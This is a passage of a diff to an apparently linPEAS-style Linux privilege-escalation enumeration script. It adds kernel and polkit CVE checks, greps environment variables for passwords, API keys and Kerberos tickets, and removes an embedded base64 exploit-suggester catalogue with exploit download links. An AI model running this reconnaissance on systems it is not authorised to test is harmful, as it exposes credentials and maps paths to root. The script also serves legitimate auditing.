pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ " fi #-- SY) CVE-2021-3560 -polkitVersion=$(systemctl status polkit.service | grep version | cut -d " " -f 9) -if [[ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 || "$(rpm -qa | grep polkit | grep -c '0.117-2\|0.115-6')" -ge 1 ]]; then +polkitVersion=$(systemctl status polkit.service 2>/dev/null | grep version | cut -d " " -f 9) +if [ "$(apt list --installed 2>/dev/null | grep polkit | grep -c 0.105-26)" -ge 1 ] || [ "$(yum list installed 2>/dev/null | grep polkit | grep -c 0.117-2)" -ge 1 ]; then echo "Vulnerable to CVE-2021-3560" | sed -${E} "s,.*,${SED_RED_YELLOW}," echo "" fi +#-- SY) CVE-2022-0847 +#-- https://dirtypipe.cm4all.com/ +#-- https://stackoverflow.com/a/37939589 +kernelversion=$(uname -r | awk -F"-" '{print $1}') +kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }') +if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version between 5.8 and 5.17 + echo "Potentially Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED}," + echo "" +fi + +#-- SY) CVE-2022-2588 +#-- https://github.com/Markakd/CVE-2022-2588 +kernelversion=$(uname -r | awk -F"-" '{print $1}') +kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }') +if [ $kernelnumber -ge 3017000000 ] && [ $kernelnumber -lt 5019000000 ]; then # if kernel version between 3.17 and 5.19 + echo "Potentially Vulnerable to CVE-2022-2588" | sed -${E} "s,.*,${SED_RED}," + echo "" +fi +echo "" + #--SY) USBCreator if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then print_2title "USBCreator" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") if [ -z "$pc_version" ]; then @@ -1211,10 +1379,15 @@ fi echo "" #-- SY) PATH + print_2title "PATH" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses" -echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" -echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses" +if ! [ "$IAMROOT" ]; then + echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" + echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" +else + echo "New path exported: $PATH" 2>/dev/null +fi echo "" #-- SY) Date @@ -1247,7 +1420,7 @@ fi if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then print_2title "Unmounted file-system?" print_info "Check if you can mount umounted devices" - grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED}," | sed -${E} "s,$mounted,${SED_BLUE}," | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" + grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" echo "" fi @@ -1266,13 +1439,13 @@ fi #-- SY) Environment vars print_2title "Environment" print_info "Any private information inside environment variables?" -(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBELET" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" +(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" echo "" #-- SY) Dmesg if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then print_2title "Searching Signature verification failed in dmesg" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed" (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" echo "" fi @@ -1290,12 +1463,8 @@ fi if [ "$(command -v bash 2>/dev/null)" ]; then print_2title "Executing Linux Exploit Suggester" print_info "https://github.com/mzet-/linux-exploit-suggester" - les_b64="IyEvYmluL2Jhc2gKCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTYtMjAyMCwgQF9temV0XwojCiMgbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggY29tZXMgd2l0aCBBQlNPTFVURUxZIE5PIFdBUlJBTlRZLgojIFRoaXMgaXMgZnJlZSBzb2Z0d2FyZSwgYW5kIHlvdSBhcmUgd2VsY29tZSB0byByZWRpc3RyaWJ1dGUgaXQKIyB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlLiBTZWUgTElDRU5TRQojIGZpbGUgZm9yIHVzYWdlIG9mIHRoaXMgc29mdHdhcmUuCiMKClZFUlNJT049djEuMQoKIyBiYXNoIGNvbG9ycwojdHh0cmVkPSJcZVswOzMxbSIKdHh0cmVkPSJcZVs5MTsxbSIKdHh0Z3JuPSJcZVsxOzMybSIKdHh0Z3JheT0iXGVbMDszN20iCnR4dGJsdT0iXGVbMDszNm0iCnR4dHJzdD0iXGVbMG0iCmJsZHdodD0nXGVbMTszN20nCndodD0nXGVbMDszNm0nCmJsZGJsdT0nXGVbMTszNG0nCnllbGxvdz0nXGVbMTs5M20nCmxpZ2h0eWVsbG93PSdcZVswOzkzbScKCiMgaW5wdXQgZGF0YQpVTkFNRV9BPSIiCgojIHBhcnNlZCBkYXRhIGZvciBjdXJyZW50IE9TCktFUk5FTD0iIgpPUz0iIgpESVNUUk89IiIKQVJDSD0iIgpQS0dfTElTVD0iIgoKIyBrZXJuZWwgY29uZmlnCktDT05GSUc9IiIKCkNWRUxJU1RfRklMRT0iIgoKb3B0X2ZldGNoX2JpbnM9ZmFsc2UKb3B0X2ZldGNoX3NyY3M9ZmFsc2UKb3B0X2tlcm5lbF92ZXJzaW9uPWZhbHNlCm9wdF91bmFtZV9zdHJpbmc9ZmFsc2UKb3B0X3BrZ2xpc3RfZmlsZT1mYWxzZQpvcHRfY3ZlbGlzdF9maWxlPWZhbHNlCm9wdF9jaGVja3NlY19tb2RlPWZhbHNlCm9wdF9mdWxsPWZhbHNlCm9wdF9zdW1tYXJ5PWZhbHNlCm9wdF9rZXJuZWxfb25seT1mYWxzZQpvcHRfdXNlcnNwYWNlX29ubHk9ZmFsc2UKb3B0X3Nob3dfZG9zPWZhbHNlCm9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCm9wdF9za2lwX3BrZ192ZXJzaW9ucz1mYWxzZQoKQVJHUz0KU0hPUlRPUFRTPSJoVmZic3U6azpkcDpnIgpMT05HT1BUUz0iaGVscCx2ZXJzaW9uLGZ1bGwsZmV0Y2gtYmluYXJpZXMsZmV0Y2gtc291cmNlcyx1bmFtZTosa2VybmVsOixzaG93LWRvcyxwa2dsaXN0LWZpbGU6LHNob3J0LGtlcm5lbHNwYWNlLW9ubHksdXNlcnNwYWNlLW9ubHksc2tpcC1tb3JlLWNoZWNrcyxza2lwLXBrZy12ZXJzaW9ucyxjdmVsaXN0LWZpbGU6LGNoZWNrc2VjIgoKIyMgZXhwbG9pdHMgZGF0YWJhc2UKZGVjbGFyZSAtYSBFWFBMT0lUUwpkZWNsYXJlIC1hIEVYUExPSVRTX1VTRVJTUEFDRQoKIyMgdGVtcG9yYXJ5IGFycmF5IGZvciBwdXJwb3NlIG9mIHNvcnRpbmcgZXhwbG9pdHMgKGJhc2VkIG9uIGV4cGxvaXRzJyByYW5rKQpkZWNsYXJlIC1hIGV4cGxvaXRzX3RvX3NvcnQKZGVjbGFyZSAtYSBTT1JURURfRVhQTE9JVFMKCiMjIyMjIyMjIyMjIyBMSU5VWCBLRVJORUxTUEFDRSBFWFBMT0lUUyAjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBlbGZsYmwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI9Mi40LjI5ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vaXNlYy5wbC92dWxuZXJhYmlsaXRpZXMvaXNlYy0wMDIxLXVzZWxpYi50eHQKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L2VsZmxibApleHBsb2l0LWRiOiA3NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSB1c2VsaWIoKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj0yLjQuMjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9pc2VjLnBsL3Z1bG5lcmFiaWxpdGllcy9pc2VjLTAwMjEtdXNlbGliLnR4dApleHBsb2l0LWRiOiA3NzgKQ29tbWVudHM6IEtub3duIHRvIHdvcmsgb25seSBmb3IgMi40IHNlcmllcyAoZXZlbiB0aG91Z2ggMi42IGlzIGFsc28gdnVsbmVyYWJsZSkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBrcmFkMwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjUsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAxMzk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDQtMDA3N10ke3R4dHJzdH0gbXJlbWFwX3B0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE2MApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHJhcHRvcl9wcmN0bApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEzLHZlcjw9Mi42LjE3ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMjAzMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHByY3RsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA1CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGwzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMjQ1MV0ke3R4dHJzdH0gcHJjdGw0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDExCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtMzYyNl0ke3R4dHJzdH0gaDAwbHlzaGl0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuOCx2ZXI8PTIuNi4xNgpUYWdzOgpSYW5rOiAxCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDExMTEwMzA0MjkwNC9odHRwOi8vdGFyYW50dWxhLmJ5LnJ1L2xvY2Fscm9vdC8yLjYueC9oMDBseXNoaXQKZXhwbG9pdC1kYjogMjAxMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTA2MDBdJHt0eHRyc3R9IHZtc3BsaWNlMQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE3LHZlcjw9Mi42LjI0ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogNTA5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTA2MDBdJHt0eHRyc3R9IHZtc3BsaWNlMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIzLHZlcjw9Mi42LjI0ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogNTA5MwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA4LTQyMTBdJHt0eHRyc3R9IGZ0cmV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTEsdmVyPD0yLjYuMjIKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA2ODUxCkNvbW1lbnRzOiB3b3JsZC13cml0YWJsZSBzZ2lkIGRpcmVjdG9yeSBhbmQgc2hlbGwgdGhhdCBkb2VzIG5vdCBkcm9wIHNnaWQgcHJpdnMgdXBvbiBleGVjIChhc2gvc2FzaCkgYXJlIHJlcXVpcmVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDgtNDIxMF0ke3R4dHJzdH0gZXhpdF9ub3RpZnkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yNSx2ZXI8PTIuNi4yOQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDgzNjkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyXSR7dHh0cnN0fSBzb2NrX3NlbmRwYWdlIChzaW1wbGUgdmVyc2lvbikKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT03LjEwLFJIRUw9NCxmZWRvcmE9NHw1fDZ8N3w4fDl8MTB8MTEKUmFuazogMQpleHBsb2l0LWRiOiA5NDc5CkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMwClRhZ3M6IHVidW50dT05LjA0ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hvcmwud29yZHByZXNzLmNvbS8yMDA5LzA3LzE2L2N2ZS0yMDA5LTE4OTUtbGludXgta2VybmVsLXBlcl9jbGVhcl9vbl9zZXRpZC1wZXJzb25hbGl0eS1ieXBhc3MvCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzk0MzUudGd6CmV4cGxvaXQtZGI6IDk0MzUKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAgT1IgcHVsc2VhdWRpbyBuZWVkcyB0byBiZSBpbnN0YWxsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiAKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NDM2LnRnegpleHBsb2l0LWRiOiA5NDM2CkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjkyLENWRS0yMDA5LTE4OTVdJHt0eHRyc3R9IHNvY2tfc2VuZHBhZ2UzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiAKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NjQxLnRhci5negpleHBsb2l0LWRiOiA5NjQxCkNvbW1lbnRzOiAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBuZWVkcyB0byBlcXVhbCAwIE9SIHB1bHNlYXVkaW8gbmVlZHMgdG8gYmUgaW5zdGFsbGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMjY5MixDVkUtMjAwOS0xODk1XSR7dHh0cnN0fSBzb2NrX3NlbmRwYWdlIChwcGMpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMApUYWdzOiB1YnVudHU9OC4xMCxSSEVMPTR8NQpSYW5rOiAxCmV4cGxvaXQtZGI6IDk1NDUKQ29tbWVudHM6IC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIG5lZWRzIHRvIGVxdWFsIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjk4XSR7dHh0cnN0fSB0aGUgcmViZWwgKHVkcF9zZW5kbXNnKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkKVGFnczogZGViaWFuPTQKUmFuazogMQpzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vb2ZmZW5zaXZlLXNlY3VyaXR5L2V4cGxvaXQtZGF0YWJhc2UtYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy85NTc0LnRnegpleHBsb2l0LWRiOiA5NTc0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmNyMC5vcmcvMjAwOS8wOC9jdmUtMjAwOS0yNjk4LXVkcHNlbmRtc2ctdnVsbmVyYWJpbGl0eS5odG1sCmF1dGhvcjogc3BlbmRlcgpDb21tZW50czogL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgbmVlZHMgdG8gZXF1YWwgMCBPUiBwdWxzZWF1ZGlvIG5lZWRzIHRvIGJlIGluc3RhbGxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGhvYWdpZV91ZHBfc2VuZG1zZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGRlYmlhbj00ClJhbms6IDEKZXhwbG9pdC1kYjogOTU3NQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbAphdXRob3I6IGFuZGkKQ29tbWVudHM6IFdvcmtzIGZvciBzeXN0ZW1zIHdpdGggL3Byb2Mvc3lzL3ZtL21tYXBfbWluX2FkZHIgZXF1YWwgdG8gMApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTI2OThdJHt0eHRyc3R9IGthdG9uICh1ZHBfc2VuZG1zZykKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xLHZlcjw9Mi42LjE5LHg4NgpUYWdzOiBkZWJpYW49NApSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9LYWJvdC9Vbml4LVByaXZpbGVnZS1Fc2NhbGF0aW9uLUV4cGxvaXRzLVBhY2svcmF3L21hc3Rlci8yMDA5L0NWRS0yMDA5LTI2OTgva2F0b24uYwphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbAphdXRob3I6IFZ4SGVsbCBMYWJzCkNvbW1lbnRzOiBXb3JrcyBmb3Igc3lzdGVtcyB3aXRoIC9wcm9jL3N5cy92bS9tbWFwX21pbl9hZGRyIGVxdWFsIHRvIDAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0yNjk4XSR7dHh0cnN0fSBpcF9hcHBlbmRfZGF0YQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEsdmVyPD0yLjYuMTkseDg2ClRhZ3M6IGZlZG9yYT00fDV8NixSSEVMPTQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYmxvZy5jcjAub3JnLzIwMDkvMDgvY3ZlLTIwMDktMjY5OC11ZHBzZW5kbXNnLXZ1bG5lcmFiaWxpdHkuaHRtbApleHBsb2l0LWRiOiA5NTQyCmF1dGhvcjogcDBjNzNuMQpDb21tZW50czogV29ya3MgZm9yIHN5c3RlbXMgd2l0aCAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkciBlcXVhbCB0byAwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMzU0N10ke3R4dHJzdH0gcGlwZS5jIDEKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjMxClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMzMzMjEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0zNTQ3XSR7dHh0cnN0fSBwaXBlLmMgMgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAzMzMyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTM1NDddJHt0eHRyc3R9IHBpcGUuYyAzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zMQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDEwMDE4CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzMwMV0ke3R4dHJzdH0gcHRyYWNlX2ttb2QyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMjYsdmVyPD0yLjYuMzQKVGFnczogZGViaWFuPTYuMHtrZXJuZWw6Mi42LigzMnwzM3wzNHwzNSktKDF8Mnx0cnVuayktYW1kNjR9LHVidW50dT0oMTAuMDR8MTAuMTApe2tlcm5lbDoyLjYuKDMyfDM1KS0oMTl8MjF8MjQpLXNlcnZlcn0KUmFuazogMQpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxMTExMDMwNDI5MDQvaHR0cDovL3RhcmFudHVsYS5ieS5ydS9sb2NhbHJvb3QvMi42Lngva21vZDIKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L3B0cmFjZS1rbW9kCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjY0MS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3B0cmFjZV9rbW9kMi02NApleHBsb2l0LWRiOiAxNTAyMwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTExNDZdJHt0eHRyc3R9IHJlaXNlcmZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD0yLjYuMzQKVGFnczogdWJ1bnR1PTkuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vam9uLm9iZXJoZWlkZS5vcmcvYmxvZy